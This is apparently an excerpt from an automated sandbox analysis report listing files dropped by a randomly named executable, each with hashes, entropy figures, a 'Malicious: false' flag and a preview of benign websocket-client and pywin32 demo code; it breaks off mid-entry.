SHA1:	64E129E8A17F325F5432F02F66908D28F8AE9501
SHA-256:	91B11D6DD67E04C328610DEC31F729F50118D4862B0E9A48282A4820774654C7
SHA-512:	39CCBEB99CAFEB7ACCA66307308BD9033B47B352CE2B08D48A391BFAB1CDE804E2FB97CC0EA59BEF603F4ABB2462F2AC5D8AFB3B41E3973104C5871CCD87EC42
Malicious:	false
Preview:	import os.import socket.import struct.from typing import Optional.from urllib.parse import unquote, urlparse.from ._exceptions import WebSocketProxyException.."""._url.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..__all__ = ["parse_url", "get_proxy_info"]...def parse_url(url: str) -> tuple:. """. parse url and the result is tuple of. (hostname, port, resource path and the flag of secure mode).. Parameters. ----------. u

C:\recover\pw\Lib\site-packages\websocket\_utils.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6961
Entropy (8bit):	3.474420330492046
Encrypted:	false
SSDEEP:	48:B4+h0CH31KzIUPv+CzljZnfzcP3/YmguB244D444444444444M4444MM44Y4444u:B4s3HFKzfljZQv/skWO9+bKIiReS9
MD5:	63D88387C8231469A1A4776FDE1C2516
SHA1:	B27C1C0B0E852EF2C2D17028B5FEB91DBADCD65D
SHA-256:	477E859C54F16152722A587EC8469AA51C69A0AF17C27F491570B2DAADA1698D
SHA-512:	CAE37ABC0DE8154874735FC4E9F28A04742A063434C2424192DD641A762D166A93A9335DFECE5EEB8CFBCEE2B7AD619B19AE6AF7AB1A55FDC960D612EDAE91C0
Malicious:	false
Preview:	from typing import Union.."""._url.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".__all__ = ["NoLock", "validate_utf8", "extract_err_message", "extract_error_code"]...class NoLock:. def __enter__(self) -> None:. pass.. def __exit__(self, exc_type, exc_value, traceback) -> None:. pass...try:. # If wsaccel is available we use compiled routines to validate UTF-8. # strings.. from wsaccel.utf8validator import Utf8V

C:\recover\pw\Lib\site-packages\websocket\_wsdump.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7010
Entropy (8bit):	4.634055856631404
Encrypted:	false
SSDEEP:	96:y4s3HFKr2kOrSlqOV5DA9RLsg3eJtIlllAZsjIHT4vsIE4ain34Ptv:y33HNk3pV5DA7ggYKTIzmY4ai3Ud
MD5:	6A303F6C1A4BB89E2E1DA79702BB677B
SHA1:	1A25992606D41928C5A1C2FD1318A7359F609C9B
SHA-256:	915F362D62E50FA777BF338A395004AA47E8080FD092977485CF563764EADA43
SHA-512:	C4C6F1C5F3A654894432683C6EFFCF174E1E2D296D0FF6B9959E26EBF4086494CC16BB7AFDD6BF72B0A68855AADF6EF388F8292C42AB514858E68E98B86A15C0
Malicious:	false
Preview:	#!/usr/bin/env python3..""".wsdump.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..import argparse.import code.import gzip.import ssl.import sys.import threading.import time.import zlib.from urllib.parse import urlparse..import websocket..try:. import readline.except ImportError:. pass...def get_encoding() -> str:. encoding = getattr(sys.stdin, "encoding", ""). if not encoding:. return "utf-8". else:. return en

C:\recover\pw\Lib\site-packages\win32\Demos\BackupRead_BackupWrite.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3769
Entropy (8bit):	5.305394581961131
Encrypted:	false
SSDEEP:	96:kQjF50l7OosSFI3OmWkK/9mBckz7mAOc/cUWc/byKK6+bWLKZL7wpS7:PvosSFI+m/KVockvmTQzWQGX6+SLeL7b
MD5:	3C3631F5328CBCB77729B6CB5A0A0766
SHA1:	16461673640008E326354F1991A395DAE439F377
SHA-256:	C68A1E175FB7784BD38307E2EBC5BC53D25C6272C89D2E04D4A53F3EBE66FD44
SHA-512:	0656985EEF1C541C57989132E260FDB8BCB9A669910AFEAC786D92369DB2895703B9530C45B72692A247E343CF877C2C766017B3EDE2B8942613BCB87C2173B8
Malicious:	false
Preview:	## demonstrates using BackupRead and BackupWrite to copy all of a file's data streams...import ntsecuritycon.import pythoncom.import pywintypes.import win32api.import win32con.import win32file.import win32security.from pywin32_testutil import ob2memory, str2bytes.from win32com import storagecon..all_sd_info = (. win32security.DACL_SECURITY_INFORMATION. \| win32security.DACL_SECURITY_INFORMATION. \| win32security.OWNER_SECURITY_INFORMATION. \| win32security.GROUP_SECURITY_INFORMATION.)..tempdir = win32api.GetTempPath().tempfile = win32api.GetTempFileName(tempdir, "bkr")[0].outfile = win32api.GetTempFileName(tempdir, "out")[0].print("Filename:", tempfile, "Output file:", outfile)..f = open(tempfile, "w").f.write("some random junk" + "x" * 100).f.close()..## add a couple of alternate data streams.f = open(tempfile + ":streamdata", "w").f.write("data written to alternate stream" + "y" * 100).f.close()..f = open(tempfile + ":anotherstream", "w").f.write("z" * 100).f.close()..## add

C:\recover\pw\Lib\site-packages\win32\Demos\BackupSeek_streamheaders.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3864
Entropy (8bit):	5.094383698251194
Encrypted:	false
SSDEEP:	96:G0oS/Su/+SPWFHlMOoCOFI3OmdkK/9mBcxHOc/xQeU0Z5xPKoFKZywfr4bK+cm+7:G0oS/Su/+SPsolFI+mqKVocxuQyYnP/k
MD5:	C29BE863D643554228F038F7F88945CE
SHA1:	200B238DF9D6AE6FC63BF5957DF04EBF9D699750
SHA-256:	1D52C2DCBFEB2B6A90D28F513DFC286E3E1727B68795BE623266003FC3764FF6
SHA-512:	E6793C97DC34AD5FAD5C206004B1BFA3AFF0E750E8E718764B6FFF7ADACF9D360A96F0C7CBC6C621C64268D4006BEC1FEF33B9D731667456EE7C0157E213B0BC
Malicious:	false
Preview:	## demonstrates using BackupSeek to enumerate data streams for a file.import struct..import pythoncom.import pywintypes.import win32api.import win32con.import win32file.from win32com import storagecon..stream_types = {. win32con.BACKUP_DATA: "Standard data",. win32con.BACKUP_EA_DATA: "Extended attribute data",. win32con.BACKUP_SECURITY_DATA: "Security descriptor data",. win32con.BACKUP_ALTERNATE_DATA: "Alternative data streams",. win32con.BACKUP_LINK: "Hard link information",. win32con.BACKUP_PROPERTY_DATA: "Property data",. win32con.BACKUP_OBJECT_ID: "Objects identifiers",. win32con.BACKUP_REPARSE_DATA: "Reparse points",. win32con.BACKUP_SPARSE_BLOCK: "Sparse file",.}..tempdir = win32api.GetTempPath().tempfile = win32api.GetTempFileName(tempdir, "bkr")[0].print("Filename:", tempfile)..f = open(tempfile, "w").f.write("some random junk" + "x" * 100).f.close()..f = open(tempfile + ":streamdata", "w").f.write("data written to alternate stream" + "y" * 100).f.clo

C:\recover\pw\Lib\site-packages\win32\Demos\CopyFileEx.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	5.026032254838223
Encrypted:	false
SSDEEP:	24:q+5UyeJ0El1Sa1g5SaqpWSnmnVuqidsgxExyYJXYathSy4rXG/iwS:eyfsytM5nmnVuTdsgRcXZ77PiH
MD5:	23B53C129F0FD220900CB00417719477
SHA1:	49432AFCED130D2038A15E2B8A71CF8B3B06150F
SHA-256:	3593ED8F69F6A4886C77831170869FB096B1C253A7748CB905BAA5FA21222189
SHA-512:	4DC7D107110F6D69EF61CE0286698C915130A82B83FC46FC6BB2B8ACCF6B4C9D2F92E06839FB399046E11822073C3091AC91C601EB6AFB8CB9CADCAAABD33FE9
Malicious:	false
Preview:	import win32api.import win32file...def ProgressRoutine(. TotalFileSize,. TotalBytesTransferred,. StreamSize,. StreamBytesTransferred,. StreamNumber,. CallbackReason,. SourceFile,. DestinationFile,. Data,.):. print(Data). print(. TotalFileSize,. TotalBytesTransferred,. StreamSize,. StreamBytesTransferred,. StreamNumber,. CallbackReason,. SourceFile,. DestinationFile,. ). ##if TotalBytesTransferred > 100000:. ## return win32file.PROGRESS_STOP. return win32file.PROGRESS_CONTINUE...temp_dir = win32api.GetTempPath().fsrc = win32api.GetTempFileName(temp_dir, "cfe")[0].fdst = win32api.GetTempFileName(temp_dir, "cfe")[0].print(fsrc, fdst)..f = open(fsrc, "w").f.write("xxxxxxxxxxxxxxxx\n" * 32768).f.close().## add a couple of extra data streams.f = open(fsrc + ":stream_y", "w").f.write("yyyyyyyyyyyyyyyy\n" * 32768).f.close().f = open(fsrc + ":stream_z", "w").f.write("zzzzzzzzzzzzzzzz\n" * 327

C:\recover\pw\Lib\site-packages\win32\Demos\CreateFileTransacted_MiniVersion.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	4.93181107133077
Encrypted:	false
SSDEEP:	96:fbFIef2CiZCVfCz1UbI6Pp16P7U0NUeVcUBwfyHMJ7:zHzVCzmTvetcum
MD5:	B233DC4ABD6C31BBB7CD09796425F3FE
SHA1:	2E815CE1731D3898825FE7C710C91B3F60AC0819
SHA-256:	F2E14F3E7DA3E92929621EF1D8B638B5E6585C01500EAD7BD3235E74EB7537AE
SHA-512:	7DC3AD3EE811802AA74DE243809724A7F04893FF22771A47239F7C1B5DC0DE0F3E4351A09C1B8BFE61126A588509E1E5715277D807F5170B97FFE82D7856C7AF
Malicious:	false
Preview:	""".This demonstrates the creation of miniversions of a file during a transaction..The FSCTL_TXFS_CREATE_MINIVERSION control code saves any changes to a new.miniversion (effectively a savepoint within a transaction).."""..import os.import struct..import win32api.import win32con.import win32file.import win32transaction.import winerror.import winioctlcon.from pywin32_testutil import str2bytes # py3k-friendly helper...def demo():. """. Definition of buffer used with FSCTL_TXFS_CREATE_MINIVERSION:. typedef struct _TXFS_CREATE_MINIVERSION_INFO{. USHORT StructureVersion;. USHORT StructureLength;. ULONG BaseVersion;. USHORT MiniVersion;}. """. buf_fmt = "HHLH0L" ## buffer size must include struct padding. buf_size = struct.calcsize(buf_fmt).. tempdir = win32api.GetTempPath(). tempfile = win32api.GetTempFileName(tempdir, "cft")[0]. print("Demonstrating transactions on tempfile", tempfile). f = open(tempfile, "w"). f.write("This is

C:\recover\pw\Lib\site-packages\win32\Demos\EvtFormatMessage.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3360
Entropy (8bit):	4.398214944508592
Encrypted:	false
SSDEEP:	96:kgYXIV9bVYIipZaa4YrZ8qOZ266bzrfRmm9CKXYzx27Kv06/9tOo57iYi:k7W9bVYFpZaCrZ8qOZJ6bz7cm9/YzgO8
MD5:	BF88AD04588F165B826D3321E4203135
SHA1:	C332E8523536EE5500782156459865DE0069DB37
SHA-256:	5C0DF671D1FBF8EAAF0277B9A418707D15B72939BFD2DD82029FAB7F51E89F9E
SHA-512:	AE99D655D60EBE9077788F3F4EE32D19C1A3B70D9274264997F05CECBAADD2219F4A8D49DDFB72A4A307FD2D8B6776EEAC94E173B66C3BE225F8EC02FE2DAA97
Malicious:	false
Preview:	import sys..import win32evtlog...def main():. path = "System". num_events = 5. if len(sys.argv) > 2:. path = sys.argv[1]. num_events = int(sys.argv[2]). elif len(sys.argv) > 1:. path = sys.argv[1].. query = win32evtlog.EvtQuery(path, win32evtlog.EvtQueryForwardDirection). events = win32evtlog.EvtNext(query, num_events). context = win32evtlog.EvtCreateRenderContext(win32evtlog.EvtRenderContextSystem).. for i, event in enumerate(events, 1):. result = win32evtlog.EvtRender(. event, win32evtlog.EvtRenderEventValues, Context=context. ).. print("Event {}".format(i)).. level_value, level_variant = result[win32evtlog.EvtSystemLevel]. if level_variant != win32evtlog.EvtVarTypeNull:. if level_value == 1:. print(" Level: CRITICAL"). elif level_value == 2:. print(" Level: ERROR"). elif level_value == 3:. print(" Level: WAR

C:\recover\pw\Lib\site-packages\win32\Demos\EvtSubscribe_pull.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	792
Entropy (8bit):	4.872080815758319
Encrypted:	false
SSDEEP:	24:jsf9CzpJr+9f12fR3Ng5Ed8f6W/PEUzv37:QYzvr+992fBNgk8nf3
MD5:	D360933C44E9DEC9F75199B3651E6537
SHA1:	CDF798EC67E65CB9FAA6AF7C1D3500AED59B87F0
SHA-256:	A4AA23F9C16AA2E78A1A22A0C12B1854BC0019ABF33670672A52773C53249911
SHA-512:	4E964A2BFA726740784CB6EC44EAA3EA7E70CCF78FC8678C87855A9C135E71142B01392E1ED8A4F0CD12DC909D04C1A38C4715486A99A57B4B7F8B178B6CDE4C
Malicious:	false
Preview:	## Demonstrates how to create a "pull" subscription.import win32con.import win32event.import win32evtlog..query_text = '*[System[Provider[@Name="Microsoft-Windows-Winlogon"]]]'..h = win32event.CreateEvent(None, 0, 0, None).s = win32evtlog.EvtSubscribe(. "System",. win32evtlog.EvtSubscribeStartAtOldestRecord,. SignalEvent=h,. Query=query_text,.)..while 1:. while 1:. events = win32evtlog.EvtNext(s, 10). if len(events) == 0:. break. ##for event in events:. ##.print(win32evtlog.EvtRender(event, win32evtlog.EvtRenderEventXml)). print("retrieved %s events" % len(events)). while 1:. print("waiting..."). w = win32event.WaitForSingleObjectEx(h, 2000, True). if w == win32con.WAIT_OBJECT_0:. break.

C:\recover\pw\Lib\site-packages\win32\Demos\EvtSubscribe_push.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	692
Entropy (8bit):	4.945280120308455
Encrypted:	false
SSDEEP:	12:jVXv9/WEpLDZAEpJr+937U1KXASpvFKMwpM7tLNFKYVXWKdC/2BdVD49y4hfR3kF:jbWqzpJr+9bvFKTpyzFKYVXDq27VD49A
MD5:	52D985F0616A0F7455B5F7910B07182D
SHA1:	D4ACD75A93ACA5F4B3205A5AC340695A283A6039
SHA-256:	B6027143EE94E0E332D3851E23948BF6A98C4F6FEC26262703FAF6774FE3355D
SHA-512:	A53F1558E74F3E5B1C238E71A0EDD62BA0A5D0383C60F620B3489A8AA0387FA639BC871A14D042BB179C7E166E1413F672690B0E61F2E75D95CA10EA95C9BDC2
Malicious:	false
Preview:	## Demonstrates a "push" subscription with a callback function.import win32evtlog..query_text = '[System[Provider[@Name="Microsoft-Windows-Winlogon"]]]'...def c(reason, context, evt):. if reason == win32evtlog.EvtSubscribeActionError:. print("EvtSubscribeActionError"). elif reason == win32evtlog.EvtSubscribeActionDeliver:. print("EvtSubscribeActionDeliver"). else:. print("??? Unknown action ???", reason). context.append(win32evtlog.EvtRender(evt, win32evtlog.EvtRenderEventXml)). return 0...evttext = [].s = win32evtlog.EvtSubscribe(. "System",. win32evtlog.EvtSubscribeStartAtOldestRecord,. Query="",. Callback=c,. Context=evttext,.).

C:\recover\pw\Lib\site-packages\win32\Demos\FileSecurityTest.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4397
Entropy (8bit):	4.74911812392731
Encrypted:	false
SSDEEP:	48:MgzkJJSBpe8lEILIzeU/lC2PHVH+YSrcsanIP9YO8OoUCDfOxVkfGbHyZrfpx4l4:MgY2vpEIANCaHFGh9YlU+GxifBx4i
MD5:	430E76B755434E0D55E9F95AFDB387D0
SHA1:	53171BBFFB86036C9BC312DAC4FA358C0D2DDC32
SHA-256:	CCB6A2880CAC7C9D67966F0185DBF8175F01F6C7DA76058D2B55E61CFA8FE687
SHA-512:	8381D4E1BC373FE7DC798D2DE6A2E785667374436AFC9BDBA701733C08B627028FD76F0D5C0A194FAD7CC99994CC9290F3478CBB5FCAD09EB046F521B016BF2F
Malicious:	false
Preview:	# Contributed by Kelly Kranabetter..import os.import sys..import ntsecuritycon.import pywintypes.import win32security.import winerror..# get security information.# name=r"c:\autoexec.bat".# name= r"g:\!workgrp\lim".name = sys.argv[0]..if not os.path.exists(name):. print(name, "does not exist!"). sys.exit()..print("On file ", name, "\n")..# get owner SID.print("OWNER").try:. sd = win32security.GetFileSecurity(name, win32security.OWNER_SECURITY_INFORMATION). sid = sd.GetSecurityDescriptorOwner(). print(" ", win32security.LookupAccountSid(None, sid)).except pywintypes.error as exc:. # in automation and network shares we see:. # pywintypes.error: (1332, 'LookupAccountName', 'No mapping between account names and security IDs was done.'). if exc.winerror != winerror.ERROR_NONE_MAPPED:. raise. print("No owner information is available")..# get group SID.try:. print("GROUP"). sd = win32security.GetFileSecurity(name, win32security.GROUP_SECURITY_INFORMATI

C:\recover\pw\Lib\site-packages\win32\Demos\GetSaveFileName.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	5.129410238641104
Encrypted:	false
SSDEEP:	24:9a3KeaJjPAhAs/6tgRMBuXI/KPAoTAs/MtgRMBuXH:I3sGhAAQAMaAAuA3
MD5:	07D0143379349CB71B6701D8BF4D2480
SHA1:	8D13834D7BCEF11174F631C4EFDA3E45E18D31CB
SHA-256:	AA67DE1EC080EEFAD5CA4F5054778915AF8F282C2AF7D76243E66F409A1365B5
SHA-512:	13331E7E7504822C2F3E9C693E27774BAE16B3DDA738695C43EBB79DFB3102F573F957B2EF437CC0BC0732218300FCA1C9E1CBE9B78C81D15DB9949EF9E3A257
Malicious:	false
Preview:	import os..import win32con.import win32gui..filter = "Python Scripts\0.py;.pyw;.pys\0Text files\0.txt\0".customfilter = "Other file types\0.\0"..fname, customfilter, flags = win32gui.GetSaveFileNameW(. InitialDir=os.environ["temp"],. Flags=win32con.OFN_ALLOWMULTISELECT \| win32con.OFN_EXPLORER,. File="somefilename",. DefExt="py",. Title="GetSaveFileNameW",. Filter=filter,. CustomFilter=customfilter,. FilterIndex=1,.)..print("save file names:", repr(fname)).print("filter used:", repr(customfilter)).print("Flags:", flags).for k, v in list(win32con.__dict__.items()):. if k.startswith("OFN_") and flags & v:. print("\t" + k)..fname, customfilter, flags = win32gui.GetOpenFileNameW(. InitialDir=os.environ["temp"],. Flags=win32con.OFN_ALLOWMULTISELECT \| win32con.OFN_EXPLORER,. File="somefilename",. DefExt="py",. Title="GetOpenFileNameW",. Filter=filter,. CustomFilter=customfilter,. FilterIndex=0,.)..print("open file names:", repr(f

C:\recover\pw\Lib\site-packages\win32\Demos\NetValidatePasswordPolicy.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3508
Entropy (8bit):	4.535330596706897
Encrypted:	false
SSDEEP:	96:qLKMszTwVasgHhCIlwaoHHqohRohw36Fup8dZpIhyA:qLlszYa7QIlwaonqkRkw36c83gyA
MD5:	A703B33F30ADDE0B10973667F662CC7F
SHA1:	D93572C859D1AC36ABE313452812B68BC14B9E7C
SHA-256:	EA659B89FF3F9F1959C2B7AF8F075A0A2099533AFE7EB1CA7E72957732A05FF0
SHA-512:	45C55EE1037C5F25BE8F4B796A55D12E37DCB965F5DAC48E62903DB75AD984775CC5D13E81372EB94F8CE256CAD97E055F6BE8060CD835A213AFC468493E3459
Malicious:	false
Preview:	"""A demo of using win32net.NetValidatePasswordPolicy...Example usage:..% NetValidatePasswordPolicy.py --password=foo change.which might return:..> Result of 'change' validation is 0: The operation completed successfully...or depending on the policy:..> Result of 'change' validation is 2245: The password does not meet the.> password policy requirements. Check the minimum password length,.> password complexity and password history requirements...Adding --user doesn't seem to change the output (even the PasswordLastSet seen.when '-f' is used doesn't depend on the username), but theoretically it will.also check the password history for the specified user...% NetValidatePasswordPolicy.py auth..which always (with and without '-m') seems to return:..> Result of 'auth' validation is 2701: Password must change at next logon."""..import optparse.import sys.from pprint import pprint..import win32api.import win32net.import win32netcon...def main():. parser = optparse.OptionParser(. "%pr

C:\recover\pw\Lib\site-packages\win32\Demos\OpenEncryptedFileRaw.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	5.051057812294554
Encrypted:	false
SSDEEP:	48:tYq2r8q7QjxNaerKec8dsgkcXKna4uuD44Drd:tYqSaaGKd8d/kcana4Brd
MD5:	1579B6CDBB6769E65896F32483CA08F5
SHA1:	D7FFA56CC5E829FFA5BCBB145644E0AB219DEB6C
SHA-256:	79D916989C1CA439CD602BF8C7A5FB7749421D64E0BFACBFF039B3F91E39A24A
SHA-512:	F34B2045343CD21CAB62955D197CEE1969998680FDA080CE7FFD4C904B9C38536193C2330E321FCCD14224F8258BBFC51DB963F61472C9293525C253B9BA9360
Malicious:	false
Preview:	import os..import win32api.import win32file.import winerror...def ReadCallback(input_buffer, data, buflen):. fnamein, fnameout, f = data. ## print fnamein, fnameout, buflen. f.write(input_buffer). ## python 2.3 throws an error if return value is a plain int. return winerror.ERROR_SUCCESS...def WriteCallback(output_buffer, data, buflen):. fnamebackup, fnameout, f = data. file_data = f.read(buflen). ## returning 0 as len terminates WriteEncryptedFileRaw. output_len = len(file_data). output_buffer[:output_len] = file_data. return winerror.ERROR_SUCCESS, output_len...tmp_dir = win32api.GetTempPath().dst_dir = win32api.GetTempFileName(tmp_dir, "oef")[0].os.remove(dst_dir).os.mkdir(dst_dir).print("Destination dir:", dst_dir)..## create an encrypted file.fname = win32api.GetTempFileName(dst_dir, "ref")[0].print("orig file:", fname).f = open(fname, "w").f.write("xxxxxxxxxxxxxxxx\n" * 32768).f.close().## add a couple of extra data streams.f = open(fname + ":stre

C:\recover\pw\Lib\site-packages\win32\Demos\RegCreateKeyTransacted.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1912
Entropy (8bit):	4.996086312535218
Encrypted:	false
SSDEEP:	48:Zy02jhZ2V6v5kHEETdZUCOxtVbpVRN9H1Vbd0OVyVbrqVbH0:Z6jmAvUEEZZUFt7N9H1P/y1ql0
MD5:	741D38BEDF1C869EE787FC7ACAEC0021
SHA1:	13E733C166A8FDAFC61199E18B7D5E5D1CC5E8C7
SHA-256:	61E15FB3EBAB14C07BD6085672916195BA13259BFEE3E7DD4C6EF8DE99CF0BBB
SHA-512:	0B27730E1FEB8E10E03664789A588B8BA0B9E7B3D07F328B0E87C6F3A597B74A40A6BF9654A66035071C013D37EF543A65EAC0D4DFE074F4C6DE3FEDF655EA4C
Malicious:	false
Preview:	import win32api.import win32con.import win32transaction..keyname = "Pywin32 test transacted registry functions".subkeyname = "test transacted subkey".classname = "Transacted Class"..trans = win32transaction.CreateTransaction(Description="test RegCreateKeyTransacted").key, disp = win32api.RegCreateKeyEx(. win32con.HKEY_CURRENT_USER,. keyname,. samDesired=win32con.KEY_ALL_ACCESS,. Class=classname,.).## clean up any existing keys.for subk in win32api.RegEnumKeyExW(key):. win32api.RegDeleteKey(key, subk[0])..## reopen key in transacted mode.transacted_key = win32api.RegOpenKeyTransacted(. Key=win32con.HKEY_CURRENT_USER,. SubKey=keyname,. Transaction=trans,. samDesired=win32con.KEY_ALL_ACCESS,.).subkey, disp = win32api.RegCreateKeyEx(. transacted_key,. subkeyname,. Transaction=trans,. samDesired=win32con.KEY_ALL_ACCESS,. Class=classname,.)..## Newly created key should not be visible from non-transacted handle.subkeys = [s[0] for s in win32api.RegEnu

C:\recover\pw\Lib\site-packages\win32\Demos\RegRestoreKey.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2063
Entropy (8bit):	5.11300797395737
Encrypted:	false
SSDEEP:	48:01b8JS3KmpnnP7iS8sE2Nzp6De+/L6ye+2mMvHwzpbA+exs:+b8JwKmpPX8sJzpse+/eye+2mMPwzpcG
MD5:	1BE4DC6030AA23DD32D4E7CAD3A1F0D8
SHA1:	49F6308BF8E3A6F7D765B699A02F17393EBE2FB0
SHA-256:	B02E9C41D6E51EBE3926C1746E5372E62AC2613F847FFF95C5D6F9EA368572DF
SHA-512:	6D78179DBE0CABE9A2EEDD9FBFDDD0BD33B2A397E0D48AB05AFA4970424E22F4C262526E489FBB26B7565A43764D7CCEE8BD827FF09FFF4106E334DFCAE453D6
Malicious:	false
Preview:	import os..import ntsecuritycon.import win32api.import win32con.import win32security.import winnt..temp_dir = win32api.GetTempPath().fname = win32api.GetTempFileName(temp_dir, "rsk")[0].print(fname).## file can't exist.os.remove(fname)..## enable backup and restore privs.required_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_BACKUP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),.).ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32con.TOKEN_READ \| win32con.TOKEN_ADJUST_PRIVILEGES.).adjusted_privs = win32security.AdjustTokenPrivileges(th, 0, required_privs)..try:. sa = win32security.SECURITY_ATTRIBUTES(). my_sid = win32security.GetTokenInformation(th, ntsecuritycon.TokenUser)[0]. sa.SECURITY_DESCRIPTOR.SetSecurityDescriptorOwner(my_sid, 0).. k, disp = win32api.RegCreateKeyEx(

C:\recover\pw\Lib\site-packages\win32\Demos\c_extension\setup.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	767
Entropy (8bit):	4.806261092723215
Encrypted:	false
SSDEEP:	12:h2BqulhxkNMdtNDf4wqWDD1JGACGiT9nibQOK0+68oa3USS2sidBHS82q5Vcg0kS:hHujKMlEwq6rCnZib7EosEK35mg0cm
MD5:	1A58DDE5C50B46C1D1F8EA2DFC5864C0
SHA1:	97132512402D2EB34AC1D098BC7FFC4777BFDBD7
SHA-256:	25D58FD5E6D02A1DD5EE74E07446D8F16C0F1BFE244B26EF33E0D44FE75EE6F3
SHA-512:	4FCB571603C1AA1083ABAB5B7EC67C32B6FD2AA06AEC74B3F15276C61D828E9F2666F2871E48673B24B4E0EA2864ECB8B391F622FCC2EC6FCE20262C9FA62082
Malicious:	false
Preview:	# A sample distutils script to show to build your own.# extension module which extends pywintypes or pythoncom..#.# Use 'python setup.py build' to build this extension..import os.from distutils.core import Extension, setup.from sysconfig import get_paths..sources = ["win32_extension.cpp"].lib_dir = get_paths()["platlib"]..# Specify the directory where the PyWin32 .h and .lib files are installed..# If you are doing a win32com extension, you will also need to add.# win32com\Include and win32com\Libs..ext = Extension(. "win32_extension",. sources,. include_dirs=[os.path.join(lib_dir, "win32", "include")],. library_dirs=[os.path.join(lib_dir, "win32", "libs")],.)..setup(. name="win32 extension sample",. version="0.1",. ext_modules=[ext],.).

C:\recover\pw\Lib\site-packages\win32\Demos\cerapi.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7919
Entropy (8bit):	4.65097395781897
Encrypted:	false
SSDEEP:	192:9H9Yc+w3MkDGXmimgbbxpgMCxOo5EBrjm8TRd6i:9HbEDfbgxWR
MD5:	6A35220B5A6D51EFDA6A0149AB846E42
SHA1:	51A99F41083A92C1331E4DF817BBC0D6C9FAD7F3
SHA-256:	7BC6B2F12435DAD24854E120E4D9426269C1FD5A65C8F8BD1B5EB1B1BCACCF96
SHA-512:	4324DBB3D41B1DA26F4D78A0706EE4A41A0BCCDD7EFD5C626556C459E95A25302B3684BD6AC9AAAF0C5FEFE81B9C91674D82E17DD03CC4FD90744E5D55A03558
Malicious:	false
Preview:	# A demo of the Windows CE Remote API.#.# This connects to a CE device, and interacts with it...import getopt.import os.import sys..import win32api.import win32con.import win32event.import wincerapi...def DumpPythonRegistry():. try:. h = wincerapi.CeRegOpenKeyEx(. win32con.HKEY_LOCAL_MACHINE,. "Software\\Python\\PythonCore\\%s\\PythonPath" % sys.winver,. ). except win32api.error:. print("The remote device does not appear to have Python installed"). return 0. path, typ = wincerapi.CeRegQueryValueEx(h, None). print("The remote PythonPath is '%s'" % (str(path),)). h.Close(). return 1...def DumpRegistry(root, level=0):. # A recursive dump of the remote registry to test most functions.. h = wincerapi.CeRegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE, None). level_prefix = " " * level. index = 0. # Enumerate values.. while 1:. try:. name, data, typ = wincerapi.CeRegEnumValue(root, index).

C:\recover\pw\Lib\site-packages\win32\Demos\dde\ddeclient.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	4.946201052398342
Encrypted:	false
